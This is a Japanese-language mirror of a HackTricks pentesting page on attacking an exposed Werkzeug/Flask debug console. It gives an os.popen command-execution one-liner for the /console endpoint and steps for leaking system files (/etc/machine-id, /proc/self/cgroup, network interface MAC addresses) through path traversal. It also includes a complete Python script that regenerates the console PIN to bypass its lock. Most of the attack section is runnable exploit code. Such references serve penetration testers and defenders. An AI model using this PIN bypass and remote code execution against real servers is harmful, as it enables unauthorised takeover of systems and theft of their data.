mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 14:40:37 +00:00
200 lines
11 KiB
Markdown
200 lines
11 KiB
Markdown
# Werkzeug / Flask デバッグ
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||
* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||
|
||
</details>
|
||
|
||
<figure><img src="../../.gitbook/assets/image (1) (1) (2) (4).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
[**DragonJAR Security Conference es un evento internacional de ciberseguridad**](https://www.dragonjarcon.org/) con más de una década que se celebrará el 7 y 8 de septiembre de 2023 en Bogotá, Colombia. Es un evento de gran contenido técnico donde se presentan las últimas investigaciones en español que atrae a hackers e investigadores de todo el mundo.\
|
||
¡Regístrate ahora en el siguiente enlace y no te pierdas esta gran conferencia!:
|
||
|
||
{% embed url="https://www.dragonjarcon.org" %}
|
||
|
||
## Console RCE
|
||
|
||
デバッグが有効な場合、`/console` にアクセスして RCE を取得することができます。
|
||
```python
|
||
__import__('os').popen('whoami').read();
|
||
```
|
||
![](<../../.gitbook/assets/image (317).png>)
|
||
|
||
インターネット上には、[こちらの](https://github.com/its-arun/Werkzeug-Debug-RCE)ようなエクスプロイトやMetasploitのものなど、いくつかの脆弱性が存在します。
|
||
|
||
## ピン保護 - パストラバーサル
|
||
|
||
場合によっては、**`/console`** エンドポイントがピンで保護されていることがあります。ファイルトラバーサルの脆弱性がある場合、そのピンを生成するために必要なすべての情報を漏洩させることができます。
|
||
|
||
### WerkzeugコンソールPINエクスプロイト
|
||
|
||
**最初のリンクからコピー。**\
|
||
アプリ内でデバッグエラーページを強制的に表示することで、Werkzeugの「コンソールロックされました」というメッセージを確認できます。
|
||
```
|
||
The console is locked and needs to be unlocked by entering the PIN.
|
||
You can find the PIN printed out on the standard output of your
|
||
shell that runs the server
|
||
```
|
||
脆弱なWerkzeugデバッグコンソールを`vulnerable-site.com/console`のパスで見つけてください。ただし、それは秘密のPIN番号でロックされています。
|
||
|
||
コンソールPINを生成するアルゴリズムを逆にすることができます。サーバー上のWerkzeugのデバッグ`__init__.py`ファイルを調査してください。例えば、`python3.5/site-packages/werkzeug/debug/__init__.py`です。[**Werkzeugのソースコードリポジトリ**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/\_\_init\_\_.py)を表示して、**PINが生成される方法**を確認することもできますが、バージョンが異なる可能性があるため、**ファイルトラバーサルの脆弱性**を介してソースコードを漏洩させる方が良いでしょう。
|
||
|
||
コンソールPINを悪用するために必要な変数:
|
||
```python
|
||
probably_public_bits = [
|
||
username,
|
||
modname,
|
||
getattr(app, '__name__', getattr(app.__class__, '__name__')),
|
||
getattr(mod, '__file__', None),
|
||
]
|
||
|
||
private_bits = [
|
||
str(uuid.getnode()),
|
||
get_machine_id(),
|
||
]
|
||
```
|
||
#### **`probably_public_bits`**
|
||
|
||
* **`username`** はこのFlaskを起動したユーザーです。
|
||
* **`modname`** は flask.app です。
|
||
* `getattr(app, '__name__', getattr (app .__ class__, '__name__'))` は **Flask** です。
|
||
* `getattr(mod, '__file__', None)` は flaskディレクトリ内の `app.py` の **絶対パス** です(例:`/usr/local/lib/python3.5/dist-packages/flask/app.py`)。`app.py` が機能しない場合は、**`app.pyc`** を試してください。
|
||
|
||
#### `private_bits`
|
||
|
||
* `uuid.getnode()` は現在のコンピューターの **MACアドレス** です。`str(uuid.getnode())` はMACアドレスの10進表現です。
|
||
|
||
* **サーバーのMACアドレスを見つける**には、アプリを提供するために使用されている **ネットワークインターフェースがどれかを知る必要があります**(例:`ens3`)。不明な場合は、デバイスIDのために `/proc/net/arp` を **漏洩** し、その後 **`/sys/class/net/<device id>/address`** でMACアドレスを **漏洩** します。
|
||
|
||
16進アドレスから10進表現に変換するには、Pythonで次のように実行します。
|
||
|
||
```python
|
||
# It was 56:00:02:7a:23:ac
|
||
>>> print(0x5600027a23ac)
|
||
94558041547692
|
||
```
|
||
|
||
* `get_machine_id()` は `/etc/machine-id` または `/proc/sys/kernel/random/boot_id` の **値を連結** し、最後のスラッシュ(`/`)の後の `/proc/self/cgroup` の **最初の行** と連結します。
|
||
|
||
<details>
|
||
|
||
<summary>get_machine_id() コード</summary>
|
||
```python
|
||
def get_machine_id() -> t.Optional[t.Union[str, bytes]]:
|
||
global _machine_id
|
||
|
||
if _machine_id is not None:
|
||
return _machine_id
|
||
|
||
def _generate() -> t.Optional[t.Union[str, bytes]]:
|
||
linux = b""
|
||
|
||
# machine-id is stable across boots, boot_id is not.
|
||
for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
|
||
try:
|
||
with open(filename, "rb") as f:
|
||
value = f.readline().strip()
|
||
except OSError:
|
||
continue
|
||
|
||
if value:
|
||
linux += value
|
||
break
|
||
|
||
# Containers share the same machine id, add some cgroup
|
||
# information. This is used outside containers too but should be
|
||
# relatively stable across boots.
|
||
try:
|
||
with open("/proc/self/cgroup", "rb") as f:
|
||
linux += f.readline().strip().rpartition(b"/")[2]
|
||
except OSError:
|
||
pass
|
||
|
||
if linux:
|
||
return linux
|
||
|
||
# On OS X, use ioreg to get the computer's serial number.
|
||
try:
|
||
```
|
||
</details>
|
||
|
||
すべての変数を準備したら、エクスプロイトスクリプトを実行してWerkzeugコンソールのPINを生成します。
|
||
```python
|
||
import hashlib
|
||
from itertools import chain
|
||
probably_public_bits = [
|
||
'web3_user',# username
|
||
'flask.app',# modname
|
||
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
|
||
'/usr/local/lib/python3.5/dist-packages/flask/app.py' # getattr(mod, '__file__', None),
|
||
]
|
||
|
||
private_bits = [
|
||
'279275995014060',# str(uuid.getnode()), /sys/class/net/ens33/address
|
||
'd4e6cb65d59544f3331ea0425dc555a1'# get_machine_id(), /etc/machine-id
|
||
]
|
||
|
||
#h = hashlib.md5() # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
|
||
h = hashlib.sha1()
|
||
for bit in chain(probably_public_bits, private_bits):
|
||
if not bit:
|
||
continue
|
||
if isinstance(bit, str):
|
||
bit = bit.encode('utf-8')
|
||
h.update(bit)
|
||
h.update(b'cookiesalt')
|
||
#h.update(b'shittysalt')
|
||
|
||
cookie_name = '__wzd' + h.hexdigest()[:20]
|
||
|
||
num = None
|
||
if num is None:
|
||
h.update(b'pinsalt')
|
||
num = ('%09d' % int(h.hexdigest(), 16))[:9]
|
||
|
||
rv =None
|
||
if rv is None:
|
||
for group_size in 5, 4, 3:
|
||
if len(num) % group_size == 0:
|
||
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
|
||
for x in range(0, len(num), group_size))
|
||
break
|
||
else:
|
||
rv = num
|
||
|
||
print(rv)
|
||
```
|
||
{% hint style="success" %}
|
||
もしWerkzeugの**古いバージョン**を使用している場合は、ハッシュアルゴリズムをsha1ではなくmd5に変更してみてください。
|
||
{% endhint %}
|
||
|
||
## 参考文献
|
||
|
||
* [**https://www.daehee.com/werkzeug-console-pin-exploit/**](https://www.daehee.com/werkzeug-console-pin-exploit/)
|
||
* [**https://ctftime.org/writeup/17955**](https://ctftime.org/writeup/17955)
|
||
|
||
<figure><img src="../../.gitbook/assets/image (1) (1) (2) (4).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
[**DragonJAR Security Conferenceは、コロンビアのボゴタで2023年9月7日から8日まで開催される、国際的なサイバーセキュリティイベント**](https://www.dragonjarcon.org/)です。このイベントは、スペイン語で最新の研究が発表される高度な技術コンテンツのイベントであり、世界中のハッカーや研究者を惹きつけています。\
|
||
以下のリンクから今すぐ登録し、この素晴らしいカンファレンスをお見逃しなく!:
|
||
|
||
{% embed url="https://www.dragonjarcon.org" %}
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
* **サイバーセキュリティ企業で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。
|
||
|
||
</details>
|